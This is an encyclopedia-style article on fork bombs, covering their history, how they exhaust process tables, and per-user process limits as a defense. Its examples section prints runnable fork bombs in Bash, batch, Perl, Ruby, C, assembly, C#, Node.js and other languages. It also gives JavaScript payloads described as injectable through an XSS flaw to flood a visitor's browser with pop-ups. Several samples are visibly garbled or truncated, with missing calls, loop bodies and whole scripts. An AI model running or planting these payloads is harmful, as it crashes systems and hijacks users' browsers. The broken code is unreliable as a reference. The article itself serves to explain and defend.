Fork bomb

"Rabbit virus" redirects here. For the disease used in an attempt to exterminate rabbits in Australia, see Myxomatosis.
The concept behind a fork bomb — the processes continually replicate themselves, potentially causing a denial of service

In computing, a fork bomb (also called rabbit virus or wabbit[1]) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation.


Around 1978 an early variant of a fork bomb called wabbit was reported to run on a System/360. It may have descended from a similar attack called RABBITS reported from 1969 on a Burroughs 5500 at the University of Washington.[1]


Fork bombs operate both by consuming CPU time in the process of forking, and by saturating the operating system's process table.[2][3] A basic implementation of a fork bomb is an infinite loop that repeatedly launches the same process.

In Unix-like operating systems, fork bombs are generally written to use the fork system call.[3] As forked processes are also copies of the first program, once they resume execution from the next address at the frame pointer, they also seek to create a copy of themselves; this has the effect of causing an exponential growth in processes. As modern Unix systems generally use copy-on-write when forking new processes,[4] a fork bomb generally will not saturate such a system's memory.

Microsoft Windows operating systems do not have an equivalent functionality to the Unix fork system call;[5] a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.

Examples of fork bombs

A fork bomb using the Bash shell:

 :(){ :|:& };:

(The trick here is that ":" is a function name - otherwise it is identical to bomb(){ bomb|bomb& }; bomb)
Same as above, but encoded into a standalone shell script as opposed to a shell function:


A fork bomb using the Microsoft Windows batch language:

 start "" %0
 goto s

The same as above, but shorter:


The same as above, but done in command line using ^ to escape specials:

echo  %0^|%0  > forkbomb.bat

An inline shell example using the Perl interpreter:

 perl -e "fork while fork" &

Using Python:

 import os
 while 1:

Using Java:

public class ForkBomb
  public static void main(String[] args)
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});

Using Ruby:

loop { fork { load(__FILE__) } }

Or using Haskell:

import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb

Or using Common Lisp (Clozure CL):

(loop (#_fork))

Or in C:

#include <unistd.h>

int main(void)
    while(1) {
      fork(); /* malloc can be used in order to increase the data usage */

Or in Intel Assembly (on 32-bit Linux):

section .text
    global _start
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

In .NET using C#:

static void Main()
    while (true) Process.Start(Assembly.GetExecutingAssembly().Location);

Also in

Loop While True

JavaScript code that can be injected into a Web page via an XSS vulnerability exploit, resulting in a series of infinitely forking pop-up windows:

while (true) {
  var w =;

Or, an easier-to-inject, harder-to-censor version of the above that uses an event spoofing attack:

<a href="#" onload="function() { while (true) { var w =; w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML); } }">XSS fork bomb</a>

Or, a more aggressive version:

setInterval(function() {
  var w =;
}, 10);

In Node.js, using JavaScript:

(function f() { require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); }());

One can run this using shell, similar to approach it uses in inside:

node -e "(function f() { require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); }());"


As a fork bomb's mode of operation is entirely encapsulated by creating new processes, one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own. On Linux, this can be achieved by using the ulimit utility; for example, the command ulimit -u 30 would limit the affected user to a maximum of thirty owned processes.[6] On PAM-enabled systems, this limit can also be set in /etc/security/limits.conf,[7] and on FreeBSD, the system administrator can put limits in /etc/login.conf.[8]

See also


  1. 1 2 Raymond, Eric S. (October 1, 2004). "wabbit". The Jargon Lexicon. Retrieved October 15, 2013.
  2. Ye, Nong (2008). Secure Computer and Network Systems: Modeling, Analysis and Design. p. 16. ISBN 0470023244.
  3. 1 2 Jielin, Dong (2007). Network Dictionary. p. 200. ISBN 1602670005.
  4. Dhamdhere, D. M. (2006). Operating Systems: A Concept-based Approach. p. 285. ISBN 0070611947.
  5. Hammond, Mark (2000). Python Programming On Win32: Help for Windows Programmers. p. 35. ISBN 1565926218.
  6. Cooper, Mendel (2005). Advanced Bash Scripting Guide. pp. 305–306. ISBN 1430319305.
  7. Soyinka, Wale (2012). Linux Administration: A Beginners Guide. pp. 364–365. ISBN 0071767592.
  8. Lucas, Michael W. (2007). Absolute FreeBSD: The Complete Guide to FreeBSD. pp. 198–199. ISBN 1593271514.
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